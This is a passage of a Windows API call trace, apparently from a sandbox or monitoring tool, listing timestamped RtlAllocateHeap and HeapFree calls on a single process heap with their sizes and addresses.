[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbfd8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf7d0
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe5d8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc0f0
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e6108
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbb08
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5be8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbdd0
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5c08
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc190
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5c28
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbdf8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf710
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe610
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbe70
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5da8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbad8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6e5c68
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dc140
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5a48
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbe98
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6e5ca8
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbec0
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf728
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe680
[0263.927] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbee8
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5a60
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db5c8
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5880
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbfb0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5a80
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dbf10
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5820
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dbf60
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf6b0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe648
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6dc000
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5860
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db8f8
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5aa0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee0d8
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d58c0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edf70
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5ac0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede80
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf638
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe808
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edf48
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5960
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db628
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe7d0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee178
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d59a0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db898
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6d5ae0
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edea8
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6d5b00
[0263.928] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee128
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c28f0
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd40
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf878
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6fe840
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edf20
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4730
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edf98
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c2670
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db838
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6c26f0
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edef8
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6c2730
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee0b0
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fab78
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd68
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf6c8
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4ae8
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edcc8
[0263.929] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4768
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edde0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6fa9b8
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db7a8
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6fab98
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edcf0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf110
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee100
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf190
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee1a0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf6e0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4c00
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edfc0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ceff0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dba18
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf090
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee150
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ceeb0
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edd18
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cef30
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6edd90
[0263.930] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf650
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4998
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6eded0
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf010
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db9e8
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cef50
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6eddb8
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cef70
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ede08
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ceed0
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede30
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf680
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4848
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ede58
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf1b0
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db868
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf0b0
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6edfe8
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf170
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6ee010
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cefb0
[0263.932] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee060
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf5f0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4810
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ee088
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6ceef0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbb68
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf070
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d00d8
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cee10
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cff48
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cedd0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0290
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf788
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4a08
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cfde0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cedf0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db688
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf0d0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cfe58
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cef10
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6cfe30
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cee30
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0178
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf740
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4b20
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6cffc0
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4880
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6d0088
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cef90
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dba48
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf030
[0263.933] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0128
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cee90
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d0100
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cefd0
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c1570
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf830
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f4960
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c1278
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf0f0
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dbb98
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cf130
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c12a0
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cee50
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c1368
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf050
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c1408
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6cf668
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x2c) returned 0x6f46f8
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6c15c0
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf150
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6dba78
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6cee70
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6c15e8
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf430
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6d2160
[0263.934] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6cf3b0
[0263.934] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dd0b0 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1410 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fabd8 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dc348 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa9d8 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6facd8 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfea8 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa9f8 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0150 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc80 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0038 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d14a0 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cff70 | out: hHeap=0x6a0000) returned 1
[0263.935] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4ca8 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faa38 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faa58 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fabf8 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cff20 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faaf8 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d01c8 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfd88 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfed0 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1890 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d01a0 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4d18 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fad58 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fab18 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fab58 | out: hHeap=0x6a0000) returned 1
[0263.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d00b0 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fabb8 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cffe8 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfbf0 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfef8 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d15c0 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d01f0 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f4ce0 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fac38 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fac58 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fac98 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0510 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fac78 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0060 | out: hHeap=0x6a0000) returned 1
[0263.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc20 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0010 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d15f0 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0218 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6da718 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6facf8 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6facb8 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fad18 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d04c0 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fad38 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0448 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc98 | out: hHeap=0x6a0000) returned 1
[0263.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d02e0 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1440 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0380 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c1c08 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fae38 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb158 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb078 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0538 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fae58 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d03f8 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6cfc50 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d04e8 | out: hHeap=0x6a0000) returned 1
[0263.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d1650 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0358 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fe1b0 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fae78 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fb0d8 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6faff8 | out: hHeap=0x6a0000) returned 1
[0263.940] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d0308 | out: hHeap=0x6a0000) returned 1
